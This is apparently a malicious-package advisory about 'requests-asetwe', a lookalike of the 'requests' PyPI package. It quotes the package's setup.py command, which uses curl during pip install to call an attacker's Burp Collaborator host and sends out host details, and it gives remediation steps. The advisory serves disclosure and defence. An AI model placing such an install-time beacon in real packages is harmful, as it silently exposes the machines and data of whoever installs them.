If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (c0316bf059751a9ece4fb034e225276529692338dc671ad9929e16faf8c843d5)
setup.py of requests-asetwe unconditionally executes `os.system('curl -s https://w5223hr2yr968bhwql8bv5n8ozuqih66.oastify.com')` during `pip install`. The destination is a Burp Collaborator (oastify.com) subdomain — an out-of-band interaction service used to confirm code execution and collect the victim's IP/DNS metadata on the attacker's collaborator instance. The package name is a lookalike of the widely-used `requests` package, and the shipped setup.py has no legitimate reason to contact an anonymous oastify subdomain at install time. Installing the package causes the installer's host to beacon to attacker-controlled infrastructure automatically.
Source: kam193 (7078a9b4fc2be32cbeb1f2c20ec67834c8e293bd410ceeb4842cacd8340d9835)
Installing the package or importing the module exfiltrates basic information about the host, and the package has no other purpose.
---
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
- The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
- The package overrides the install command in setup.py to execute malicious code during installation.